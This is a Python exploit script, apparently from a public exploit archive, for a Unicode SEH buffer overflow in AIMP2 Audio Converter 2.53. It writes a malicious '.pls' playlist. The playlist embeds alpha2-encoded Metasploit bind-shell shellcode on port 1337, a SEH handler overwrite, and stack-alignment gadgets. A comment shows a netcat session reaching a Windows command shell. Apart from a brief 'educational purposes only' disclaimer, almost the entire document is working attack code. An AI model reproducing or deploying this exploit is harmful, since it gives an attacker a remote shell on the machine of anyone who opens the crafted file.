AIMP2 Audio Converter 2.53 build 330 - Playlist '.pls' Unicode Buffer Overflow

#!/usr/bin/python
#
# ######################################################################
# Author contact    : seeleymagic[at]hotmail[dot]com
# ######################################################################
#
# *** For educational purposes only ***
#        You have been warned
#
# My original crash breakdown:
# 
# EAX 001B0020 UNICODE "AAAAAAAAAAAAAAAAAAAA~
# ECX 00000273
# EDX 00000C4C
# EBX 00000000
# ESP 0012DCA8
# EBP 0012DD64
# ESI 001B6610 UNICODE "AAAAAAAAAAAAAAAAAAAA~
# EDI 00130000 ASCII "Actx "
# EIP 004530C6 AIMP2.004530C6
#
# And then when we pass the exemption handler to overwrite EIP...
#
# EIP 00410041
#
# The Info:
#
# I knew this exploit was always possible, but I failed to have the knowledge
# and experiance to complete it. Many thanks goes to corelanc0d3r for 
# demonstrating this unicode concept on his blog. I downloaded his PoC however it  
# did not work on my VM so I remade it with some fun shellcode :)
#
# Visit corelanc0d3r's blog: http://www.corelan.be:8800/
#
# root@home:/home/mrme# nc -v 192.168.2.6 1337
# 192.168.2.6: inverse host lookup failed: Unknown server error : Connection timed out
# (UNKNOWN) [192.168.2.6] 1337 (?) open
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\AIMP2\Langs>
# 

# Metasploit bind shell on port 1337
# Encoded using Skylined's alpha2 encoder

shellcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQA"
"IAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1"
"111AIAJQI1AYAZBABABABAB30APB944JBKLQZJKPMK8JYKOKOKOQPTK"
"2LMTMTDKOUOLTKCLKUT8M1JOTKPOLXTKQOMPM1JKOY4KNTTKM1JNNQ9"
"04Y6LU4I0D4M77QHJLMKQ92ZKL4OK0TMTO8BUIUTK1OO4KQZK1VDKLL"
"PKTKQOMLM1ZKM3NLTKU9RLMTMLQQ7SNQ9KQTTK0CNP4KOPLL4KRPMLV"
"M4KOPLHQN384NPNLNJLPPKOJ6QVPSQVQX03OBRHT7RSNR1OB4KO8PBH"
"XKZMKLOKR0KOHVQOU9YU1VE1JMM8KRB5QZLBKOXPBH8YM9JUFMQGKOZ"
"6PSPSR30SQCPC23PCPSKOXPC6RHKUP936PSSYYQV5QX5TMJ40GWPWKO"
"8VRJLPR1R5KOHPQXG4VMNNIY0WKOZ6QC25KOXPBH9U19U6OY27KO9FP"
"PR4R41EKOXPUC1X9W49GVRYPWKO8V0UKOXP1VQZRD2FQXQSBMU9YUQZ"
"0PPYNI8LTI9W2J14U9K201GPKCUZKNORNMKNPBNL63TM2ZNXVKFK6KQ"
"XBRKNVSN6KOT5Q4KOIFQK0WB2PQ0Q0Q1ZM1PQR1PUR1KOXPRHVMJ9KU"
"8NQCKOHVQZKOKO07KOZ0DK0WKLTCWTRDKOHV0RKO8P38JPTJKTQOR3K"
"O8VKO8PKZA")

header = ("[playlist]\nNumberOfEntries=3\n\n");
header += ("File1=");
crash = ('\x41' * 1985)	        	# offset before shellcode
crash += shellcode			# add the shellcode
crash += ('\41' * (4033-len(crash)))	# remaining offset (1st block)
crash += ('\x41\x6d')           	# inc ecx + add byte ptr [ebp],ch
crash += ('\x0e\x45')           	# seh handler (p/p/r in aimp2.dll)

# We needed an address that is located at or close to our shellcode
# We find one on the forth address from the stack

align = '\x58' 				# pop eax
align += '\x6d'
align += '\x58'  			# pop eax
align += '\x6d'
align += '\x58'  			# pop eax
align += '\x6d'
align += '\x58'  			# pop eax
align += '\x6d'

# Here we adjust the value of eax to the address of where our shellcode
# is.. (in the original buffer)

align += '\x05\x02\x22'			# add eax,22000200    
align += '\x6d'  
align += '\x2d\x09\x11'   		# sub eax,11000900
align += '\x6d' 
align += '\x2d\x09\x11'   		# sub eax,11000900
align += '\x6d'   

# Eax now equals 0x0012EDA0 which is the location of our shellcode. We push
# eax onto the stack and jump to it so its executed

jump ='\x50'				# push eax 		  
jump += '\x6d'	
jump += '\xc3' 				# jmp eax 

finish = ('\x42' * (963-len(align)-len(jump)))
buffer = header + crash + align + jump + finish + '\n'

file=open('mr_me_owns_aimp.pls','w')
file.write(buffer)
file.close()
print "[+] mr_me_owns_aimp.pls file created successfully"